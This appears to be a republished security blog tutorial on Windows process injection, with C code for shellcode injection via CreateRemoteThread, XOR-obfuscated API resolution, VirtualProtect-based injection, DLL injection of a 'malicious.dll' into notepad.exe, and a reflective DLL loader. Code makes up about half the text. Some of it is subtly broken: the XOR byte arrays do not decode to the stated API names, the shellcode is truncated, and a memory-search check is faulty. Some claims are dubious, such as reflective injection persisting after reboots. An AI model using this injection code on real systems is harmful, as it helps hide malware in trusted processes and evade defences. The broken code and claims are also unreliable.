Process Injection 101 to Advanced (Part — 1)
文章探讨了网络安全中进程注入技术的重要性及其应用,详细介绍了本地代码注入、远程进程注入、DLL注入及反射式DLL注入等常见手法,并通过实例分析了其在恶意软件、APT攻击及供应链攻击中的实际应用。 2025-9-25 08:22:22 Author: infosecwriteups.com(查看原文) 阅读量:13 收藏

Everything you need to know about how attackers infiltrate processes

zerOiQ

Press enter or click to view image in full size

In cybersecurity, process injection is one of the most important techniques to understand. Whether you work as a malware analyst, penetration tester, or defender, knowing how it works is key for both attacking and protecting systems.

Process injection techniques have become the backbone of modern malware, advanced persistent threats (APTs), and sophisticated cyber attacks. From nation-state actors infiltrating critical infrastructure to cybercriminals deploying ransomware, these techniques enable attackers to hide in plain sight, evade detection systems, and maintain persistent access to compromised systems.

This comprehensive guide delves deep into the world of process injection, providing detailed explanations, practical examples, and real-world scenarios that illustrate how these techniques are employed in actual cyber operations .

Understanding Process Injection: The Foundation

What is Process Injection?

Process injection is a sophisticated technique where malicious code is inserted and executed within the address space of another, typically legitimate, process. This method allows attackers to leverage the permissions, network connections, and trusted status of target processes while hiding their malicious activities.

Why Attackers Use Process Injection

Stealth and evasion: attackers hide malicious code inside legitimate processes such as svchost.exe or explorer.exe. Because it runs inside trusted programs, it often goes unnoticed by users and security software.

Privilege Escalation: By injecting into processes with higher privileges, attackers can perform actions they couldn’t execute from their original context.

Persistence: Even if the original malware is detected and removed, injected code can continue running in legitimate processes.

Defense Bypass: Application whitelisting becomes ineffective when malicious code executes within approved processes.

Real-World Impact Scenario

Consider the 2020 SolarWinds supply chain attack. The SUNBURST malware used process injection techniques to hide within legitimate Windows processes, allowing it to remain undetected for months while exfiltrating sensitive data from thousands of organizations worldwide.

Deep Dive: Classic Code Injection Techniques

1. Local Process Code Injection

Definition and Concept: Local process code injection is the most fundamental technique in the process injection arsenal. This method involves inserting and executing malicious code directly within the memory space of a target process running on the same machine. Unlike remote injection, local injection operates within the same system and typically requires the same or lower privilege levels as the target process.

How It Works: The technique follows a systematic approach: first, the attacker opens a handle to the target process using OpenProcess() with appropriate permissions. Next, memory is allocated within the target process using VirtualAllocEx() with executable permissions. The malicious code (shellcode) is then written to this allocated memory using WriteProcessMemory(). Finally, execution is triggered by creating a remote thread using CreateRemoteThread() that points to the injected code.

Key Characteristics:

  • Simplicity: This is the most straightforward injection method, making it ideal for beginners to understand
  • Detectability: Due to its common usage, most security products have signatures for this technique
  • Reliability: Works consistently across different Windows versions with minimal modifications
  • Privilege Requirements: Requires appropriate access rights to the target process

Attack Scenarios: Attackers commonly use this technique to inject code into system processes like explorer.exe, winlogon.exe, or svchost.exe to appear legitimate. Banking trojans frequently target browser processes to steal credentials, while ransomware uses it to inject encryption routines into multiple processes simultaneously.

Defensive Considerations: Modern endpoint protection systems monitor for the telltale API call sequence (OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread) and can easily detect basic implementations. However, the technique remains effective when combined with other evasion methods.

Let’s examine a detailed implementation:

#include <windows.h>
#include <stdio.h>

// Shellcode
unsigned char shellcode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
// ... shellcode bytes

BOOL InjectLocalProcess(DWORD processId, LPVOID shellcode, SIZE_T shellcodeSize) {
HANDLE hProcess = NULL;
LPVOID remoteMemory = NULL;
HANDLE hThread = NULL;
BOOL result = FALSE;

// Step 1: Open target process with required permissions
hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, processId
);

if (!hProcess) {
printf("Failed to open process. Error: %lu\n", GetLastError());
return FALSE;
}

// Step 2: Allocate memory in target process
remoteMemory = VirtualAllocEx(
hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);

if (!remoteMemory) {
printf("Failed to allocate memory. Error: %lu\n", GetLastError());
goto cleanup;
}

// Step 3: Write shellcode to allocated memory
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, shellcodeSize, NULL)) {
printf("Failed to write memory. Error: %lu\n", GetLastError());
goto cleanup;
}

// Step 4: Create remote thread to execute shellcode
hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteMemory,
NULL, 0, NULL
);

if (!hThread) {
printf("Failed to create remote thread. Error: %lu\n", GetLastError());
goto cleanup;
}

printf("Successfully injected code into process %lu\n", processId);
result = TRUE;

cleanup:
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);
return result;
}

2. Remote Process Injection with API Obfuscation

Definition and Concept: Remote process injection extends the basic injection concept across network boundaries or different security contexts. API obfuscation adds a layer of stealth by hiding the actual function calls used during the injection process. This technique dynamically resolves API functions at runtime, making static analysis significantly more difficult.

Technical Deep Dive: The obfuscation works by encrypting API names and using techniques like:

  • Dynamic API Resolution: Using GetProcAddress() to resolve function addresses at runtime
  • String Encryption: Storing API names in encrypted form and decrypting them during execution
  • Hash-Based Resolution: Using hashed function names instead of plaintext strings
  • Indirect Function Calls: Using function pointers to mask direct API calls

Why It’s Effective: Static analysis tools and basic signature-based detection systems struggle with this technique because:

  1. The actual API calls are not visible until runtime
  2. String-based signatures cannot match encrypted function names
  3. Control flow analysis becomes complex due to indirect calls
  4. Different encryption keys result in different binary signatures

Evolution in Malware Families: Advanced malware families like APT groups extensively use this technique. For example:

  • Lazarus Group: Uses RC4 encryption for API name obfuscation
  • Carbanak: Employs XOR-based string encryption combined with hash-based API resolution
  • FIN7: Utilizes stack-based string decryption to hide critical API calls

Advanced malware often obfuscates API calls to evade static analysis. Here’s an example using dynamic API resolution:

#include <windows.h>

// Function pointer types
typedef LPVOID (WINAPI* VirtualAllocEx_t)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI* WriteProcessMemory_t)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI* CreateRemoteThread_t)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);

// XOR encryption for API names
char encryptedAPIs[][32] = {
{0x16, 0x29, 0x08, 0x1A, 0x1F, 0x27, 0x2C, 0x00}, // "VirtualAllocEx" XORed with key 0x42
{0x15, 0x08, 0x29, 0x1A, 0x21, 0x00}, // "WriteProcessMemory" XORed
// ... more encrypted API names
};

LPVOID GetObfuscatedAPI(HMODULE hModule, int apiIndex) {
char apiName[64];
char* encrypted = encryptedAPIs[apiIndex];

// Decrypt API name
for (int i = 0; encrypted[i]; i++) {
apiName[i] = encrypted[i] ^ 0x42;
}

return GetProcAddress(hModule, apiName);
}

BOOL ObfuscatedInjection(DWORD targetPID, LPVOID payload, SIZE_T payloadSize) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");

// Dynamically resolve APIs
VirtualAllocEx_t pVirtualAllocEx = (VirtualAllocEx_t)GetObfuscatedAPI(hKernel32, 0);
WriteProcessMemory_t pWriteProcessMemory = (WriteProcessMemory_t)GetObfuscatedAPI(hKernel32, 1);
CreateRemoteThread_t pCreateRemoteThread = (CreateRemoteThread_t)GetObfuscatedAPI(hKernel32, 2);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (!hProcess) return FALSE;

// Rest of injection logic using function pointers
LPVOID remoteBuffer = pVirtualAllocEx(hProcess, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (!remoteBuffer) {
CloseHandle(hProcess);
return FALSE;
}

// Continue with obfuscated API calls...
return TRUE;
}

Defensive Detection: Security tools can detect this by monitoring for:

  • Dynamic API resolution patterns
  • Unusual memory allocation sequences
  • Cross-process memory operations

3. VirtualProtect-Based Injection

Definition and Concept: VirtualProtect-based injection represents a more sophisticated approach that leverages existing memory regions instead of allocating new ones. This technique identifies committed memory regions within the target process, writes malicious code to these regions, and then changes the memory protection to make it executable.

Technical Mechanics: The process involves several critical steps:

  1. Memory Region Discovery: Scanning the target process’s memory space using VirtualQueryEx() to find suitable regions
  2. Region Analysis: Evaluating memory regions for adequate size, current protection level, and content
  3. Content Verification: Ensuring the target region contains null bytes or expendable data
  4. Code Injection: Writing the malicious payload to the identified region
  5. Protection Modification: Using VirtualProtectEx() to change memory permissions to executable
  6. Execution Triggering: Creating a thread or hijacking an existing one to execute the injected code

Advantages Over Traditional Methods:

  • Stealth Factor: No new memory allocations are created, reducing detection footprint
  • Evasion Capability: Memory scanning tools may overlook existing regions
  • Lower System Impact: Reuses existing memory rather than consuming additional resources
  • Forensic Resistance: Harder to identify injection points during memory analysis

Memory Region Selection Criteria: Effective implementation requires careful selection of target memory regions:

  • Read-Write Regions: Initially non-executable regions that can have protection changed
  • Sufficient Size: Regions large enough to accommodate the payload
  • Low Activity: Areas of memory not frequently accessed by the legitimate process
  • Null Content: Regions containing mostly zero bytes or padding

Real-World Implementation Challenges: Attackers must overcome several technical hurdles:

  • Address Space Layout Randomization (ASLR): Makes memory regions unpredictable
  • Data Execution Prevention (DEP): Prevents execution in data regions
  • Control Flow Guard (CFG): Validates indirect call targets
  • Hypervisor-Protected Code Integrity (HVCI): Prevents unauthorized code execution

This technique changes memory permissions to execute code in existing allocations:

BOOL VirtualProtectInjection(DWORD targetPID, LPVOID shellcode, SIZE_T size) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
if (!hProcess) return FALSE;

// Find suitable memory region in target process
MEMORY_BASIC_INFORMATION mbi;
LPVOID baseAddress = 0;

while (VirtualQueryEx(hProcess, baseAddress, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT && mbi.Protect == PAGE_READWRITE &&
mbi.RegionSize >= size) {
break;
}
baseAddress = (LPVOID)((SIZE_T)mbi.BaseAddress + mbi.RegionSize);
}

if (!baseAddress) {
CloseHandle(hProcess);
return FALSE;
}

// Write shellcode
if (!WriteProcessMemory(hProcess, baseAddress, shellcode, size, NULL)) {
CloseHandle(hProcess);
return FALSE;
}

// Change protection to executable
DWORD oldProtect;
if (!VirtualProtectEx(hProcess, baseAddress, size, PAGE_EXECUTE_READ, &oldProtect)) {
CloseHandle(hProcess);
return FALSE;
}

// Execute
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);

if (hThread) {
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}

CloseHandle(hProcess);
return FALSE;
}

Advanced DLL Injection Techniques

1. Classic DLL Injection Implementation

Definition and Fundamental Concept: Classic DLL injection is a cornerstone technique in process injection that forces a target process to load a Dynamic Link Library (DLL) containing malicious code. Unlike direct code injection, this method leverages Windows’ native library loading mechanism, making the injected code appear as a legitimate module within the target process.

Technical Architecture: The technique exploits Windows’ LoadLibrary() function through the following process:

  1. Target Process Access: Obtaining appropriate handles to the target process
  2. Path Allocation: Reserving memory space in the target process for the DLL path
  3. Path Writing: Copying the DLL file path into the allocated memory
  4. Thread Creation: Creating a remote thread that calls LoadLibrary() with the DLL path
  5. Execution: The DLL’s DllMain() function executes automatically upon loading

Why DLL Injection is Powerful:

  • Legitimate Mechanism: Uses Windows’ standard library loading process
  • Full Integration: The DLL becomes a legitimate part of the target process
  • Extensive Capabilities: DLLs can hook APIs, modify process behavior, and maintain persistence
  • Debugging Visibility: Injected DLLs appear in standard debugging and process monitoring tools

DLL Development Considerations: Creating effective injection DLLs requires understanding:

  • DllMain() Function: The entry point that executes upon loading/unloading
  • Thread Safety: Handling concurrent access in multi-threaded environments
  • Process Context: Operating within the target process’s security and memory context
  • Cleanup Procedures: Properly removing hooks and allocated resources

Historical Context and Evolution: This technique gained prominence in the early 2000s and has been extensively used by:

  • Gaming Cheats: Modifying game behavior and accessing protected memory
  • System Utilities: Enhancing or modifying system functionality
  • Malware Families: Banking trojans, keyloggers, and rootkits
  • Security Tools: Legitimate monitoring and protection software

Modern Variations and Adaptations: Contemporary implementations often include:

  • Signed DLL Loading: Using legitimate, signed DLLs to avoid detection
  • Memory-Only DLLs: Loading DLLs directly from memory without disk writes
  • Delayed Execution: Using techniques to delay DLL execution until after security scans
  • Multi-Stage Loading: Using stub DLLs that download and load additional components
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD FindProcessByName(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;

PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(pe32);

if (Process32FirstW(hSnapshot, &pe32)) {
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe32));
}

CloseHandle(hSnapshot);
return 0;
}

BOOL InjectDLL(DWORD processId, const wchar_t* dllPath) {
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, processId
);

if (!hProcess) {
printf("Failed to open target process\n");
return FALSE;
}

// Calculate DLL path size
SIZE_T dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);

// Allocate memory for DLL path in target process
LPVOID remoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (!remoteDllPath) {
printf("Failed to allocate memory in target process\n");
CloseHandle(hProcess);
return FALSE;
}

// Write DLL path to target process
if (!WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathSize, NULL)) {
printf("Failed to write DLL path to target process\n");
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// Get LoadLibraryW address
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
LPVOID loadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryW");

if (!loadLibraryAddr) {
printf("Failed to get LoadLibraryW address\n");
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// Create remote thread to load DLL
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibraryAddr,
remoteDllPath, 0, NULL);

if (!hRemoteThread) {
printf("Failed to create remote thread\n");
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// Wait for DLL loading to complete
WaitForSingleObject(hRemoteThread, INFINITE);

printf("Successfully injected DLL into process %lu\n", processId);

// Cleanup
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
CloseHandle(hProcess);

return TRUE;
}

// Usage example
int main() {
DWORD targetPID = FindProcessByName(L"notepad.exe");
if (targetPID == 0) {
printf("Target process not found\n");
return 1;
}

if (InjectDLL(targetPID, L"C:\\Path\\To\\Your\\malicious.dll")) {
printf("DLL injection successful\n");
} else {
printf("DLL injection failed\n");
}

return 0;
}

2. Reflective DLL Injection

Definition and Revolutionary Concept: Reflective DLL injection represents a quantum leap in stealth and sophistication compared to traditional DLL injection. This technique loads a DLL directly from memory without ever touching the disk, bypassing file system monitoring, antivirus scanners, and application whitelisting solutions.

Core Innovation: The breakthrough lies in the DLL containing its own custom loader (reflective loader) that manually maps the DLL into memory, resolves imports, processes relocations, and calls the entry point — essentially replicating what Windows’ native loader does, but entirely in memory.

Technical Architecture Deep Dive:

1. Self-Contained Loading: Unlike traditional DLLs that rely on Windows’ PE loader, reflective DLLs include:

  • Custom PE Parser: Code to interpret PE headers and sections
  • Import Resolution Engine: Functions to resolve API dependencies
  • Relocation Processor: Code to fix memory addresses
  • Memory Manager: Routines to allocate and manage memory regions

2. Stealth Characteristics:

  • No Disk Footprint: DLL never exists as a file on the target system
  • No Registry Entries: Bypasses module loading notifications
  • Invisible to Standard Tools: Won’t appear in loaded modules lists
  • Anti-Forensics: Minimal traces left for forensic analysis

3. Execution Flow: The process follows a sophisticated sequence:

  1. Memory Allocation: Reserve memory space for the entire DLL
  2. Header Processing: Copy and process PE headers
  3. Section Mapping: Map each section to appropriate memory locations
  4. Import Resolution: Resolve all API dependencies dynamically
  5. Relocation Processing: Fix all memory address references
  6. Entry Point Execution: Call DllMain or custom entry point

Advanced Implementation Techniques:

Memory Layout Optimization:

  • Address Space Randomization: Using random base addresses for stealth
  • Section Permissions: Setting appropriate read/write/execute permissions
  • Memory Fragmentation: Avoiding large contiguous allocations

Import Resolution Strategies:

  • Hash-Based Resolution: Using function name hashes instead of strings
  • Delayed Loading: Resolving imports only when needed
  • API Set Resolution: Handling Windows API sets correctly

Anti-Analysis Features:

  • String Encryption: Encrypting all embedded strings
  • Control Flow Obfuscation: Making code analysis difficult
  • Debug Detection: Detecting and evading debugging attempts

Real-World Applications:

APT Campaigns: Advanced Persistent Threat groups extensively use reflective DLL injection:

  • Cobalt Strike: The popular red team tool uses reflective DLLs for post-exploitation
  • Metasploit: Meterpreter payloads often employ reflective injection
  • Custom Frameworks: Nation-state actors develop bespoke reflective loaders

Commercial Software: Legitimate applications also use similar techniques:

  • Game Anti-Cheat Systems: Loading protection modules without disk presence
  • Software Protection: Implementing copy protection mechanisms
  • System Utilities: Runtime patching and enhancement tools

Detection Challenges: Security solutions struggle with reflective DLL injection because:

  • Static Analysis Limitations: No file to scan or analyze
  • Behavioral Complexity: Hard to distinguish from legitimate memory operations
  • Timing Windows: Often executes faster than monitoring can detect
  • Memory Hiding: Can implement techniques to hide from memory scanners

Reflective DLL injection is significantly more advanced and stealthy:

// Reflective DLL structure
typedef struct _REFLECTIVE_DLL {
DWORD dwReflectiveLoaderOffset; // Offset to reflective loader function
DWORD dwDllSize; // Size of the DLL
BYTE bDllData[1]; // DLL data starts here
} REFLECTIVE_DLL, *PREFLECTIVE_DLL;

// Reflective loader function (simplified version)
DWORD WINAPI ReflectiveLoader(LPVOID lpParam) {
// Get the current location
ULONG_PTR uiLibraryAddress = (ULONG_PTR)lpParam;

// Parse PE headers
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)uiLibraryAddress;
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + pImageDosHeader->e_lfanew);

// Calculate size needed for DLL
DWORD dwImageSize = pImageNtHeaders->OptionalHeader.SizeOfImage;

// Allocate memory for DLL
LPVOID lpBaseAddress = VirtualAlloc(NULL, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpBaseAddress) return 0;

// Copy headers
memcpy(lpBaseAddress, (LPVOID)uiLibraryAddress, pImageNtHeaders->OptionalHeader.SizeOfHeaders);

// Copy sections
PIMAGE_SECTION_HEADER pImageSectionHeader = IMAGE_FIRST_SECTION(pImageNtHeaders);
for (int i = 0; i < pImageNtHeaders->FileHeader.NumberOfSections; i++) {
if (pImageSectionHeader[i].SizeOfRawData) {
memcpy(
(LPVOID)((ULONG_PTR)lpBaseAddress + pImageSectionHeader[i].VirtualAddress),
(LPVOID)(uiLibraryAddress + pImageSectionHeader[i].PointerToRawData),
pImageSectionHeader[i].SizeOfRawData
);
}
}

// Process relocations
PIMAGE_DATA_DIRECTORY pImageDataDirectory = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (pImageDataDirectory->Size) {
PIMAGE_BASE_RELOCATION pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)lpBaseAddress + pImageDataDirectory->VirtualAddress);
ULONG_PTR uiDelta = (ULONG_PTR)lpBaseAddress - pImageNtHeaders->OptionalHeader.ImageBase;

while (pImageBaseRelocation->SizeOfBlock) {
PWORD pwRelocations = (PWORD)((ULONG_PTR)pImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
DWORD dwNumberOfRelocations = (pImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

for (DWORD j = 0; j < dwNumberOfRelocations; j++) {
if ((pwRelocations[j] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
PDWORD pdwRelocation = (PDWORD)((ULONG_PTR)lpBaseAddress + pImageBaseRelocation->VirtualAddress + (pwRelocations[j] & 0x0FFF));
*pdwRelocation += (DWORD)uiDelta;
}
}

pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pImageBaseRelocation + pImageBaseRelocation->SizeOfBlock);
}
}

// Resolve imports
pImageDataDirectory = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pImageDataDirectory->Size) {
PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)lpBaseAddress + pImageDataDirectory->VirtualAddress);

while (pImageImportDescriptor->Name) {
char* szDllName = (char*)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->Name);
HMODULE hDll = LoadLibraryA(szDllName);

if (hDll) {
PULONG_PTR pOriginalFirstThunk = (PULONG_PTR)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->OriginalFirstThunk);
PULONG_PTR pFirstThunk = (PULONG_PTR)((ULONG_PTR)lpBaseAddress + pImageImportDescriptor->FirstThunk);

while (*pOriginalFirstThunk) {
if (*pOriginalFirstThunk & IMAGE_ORDINAL_FLAG) {
*pFirstThunk = (ULONG_PTR)GetProcAddress(hDll, (LPCSTR)(*pOriginalFirstThunk & 0xFFFF));
} else {
PIMAGE_IMPORT_BY_NAME pImageImportByName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)lpBaseAddress + *pOriginalFirstThunk);
*pFirstThunk = (ULONG_PTR)GetProcAddress(hDll, pImageImportByName->Name);
}

pOriginalFirstThunk++;
pFirstThunk++;
}
}

pImageImportDescriptor++;
}
}

// Call DLL entry point
BOOL (WINAPI* pDllMain)(HINSTANCE, DWORD, LPVOID) = (BOOL (WINAPI*)(HINSTANCE, DWORD, LPVOID))((ULONG_PTR)lpBaseAddress + pImageNtHeaders->OptionalHeader.AddressOfEntryPoint);
pDllMain((HINSTANCE)lpBaseAddress, DLL_PROCESS_ATTACH, NULL);

return (DWORD)lpBaseAddress;
}

BOOL ReflectiveInject(DWORD dwProcessId, LPVOID lpDllBuffer, DWORD dwDllSize) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess) return FALSE;

// Allocate memory for DLL
LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwDllSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpRemoteLibraryBuffer) {
CloseHandle(hProcess);
return FALSE;
}

// Write DLL to target process
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllSize, NULL)) {
VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// Calculate reflective loader address
PREFLECTIVE_DLL pReflectiveDll = (PREFLECTIVE_DLL)lpDllBuffer;
LPVOID lpReflectiveLoader = (LPVOID)((ULONG_PTR)lpRemoteLibraryBuffer + pReflectiveDll->dwReflectiveLoaderOffset);

// Create remote thread to execute reflective loader
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)lpReflectiveLoader,
lpRemoteLibraryBuffer, 0, NULL);

if (!hThread) {
VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}

Advanced Evasion Scenario: APT groups like Lazarus have used reflective DLL injection to deploy their sophisticated malware toolkits. The technique allows them to:

  • Load malicious libraries without writing to disk
  • Bypass application whitelisting
  • Avoid detection by traditional antivirus scanners
  • Maintain persistence even after system reboots

This first installment covered the basics of process injection and why stealth and evasion matter.

In Part 2 we’ll dive into more interesting, hands-on techniques , think DLL and code injection methods, process hollowing, APCs, and real detection/mitigation tips. Stay tuned for practical examples and step-by-step walkthroughs .


文章来源: https://infosecwriteups.com/process-injection-101-to-advanced-part-1-ead719f31a7f?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh